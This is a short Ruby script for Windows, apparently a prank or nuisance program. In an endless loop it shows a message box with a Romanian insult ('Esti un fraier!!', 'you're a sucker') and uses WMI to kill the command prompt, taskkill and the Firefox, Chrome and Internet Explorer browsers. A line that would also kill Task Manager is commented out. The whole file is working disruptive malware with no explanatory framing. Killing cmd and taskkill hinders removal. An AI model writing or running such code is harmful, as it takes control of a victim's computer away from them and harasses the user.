require 'win32/process'
require 'win32ole'
require 'dl'

wmi = WIN32OLE.connect("winmgmts://")

BUTTONS_OK = 0
CLICKED_OK = 1
def message_box(txt='', title='', buttons=0)
    user32 = DL.dlopen('user32')
    msgbox = user32['MessageBoxA', 'ILSSI']
    r, rs = msgbox.call(0, txt, title, buttons)
    return r
end

while(1) do
    message_box("Esti un fraier!!", "", BUTTONS_OK)
    processes = wmi.ExecQuery("select * from win32_process")
    for process in processes do
        #if process.Name == "taskmgr.exe"
        #    process.Terminate()
        #end
        if process.Name == "cmd.exe"
            process.Terminate()
        end
        if process.Name == "taskkill.exe"
            process.Terminate()
        end
        if process.Name == "firefox.exe"
            process.Terminate()
        end
        if process.Name == "chrome.exe"
            process.Terminate()
        end
        if process.Name == "iexplore.exe"
            process.Terminate()
        end

    end
end
exit(0)
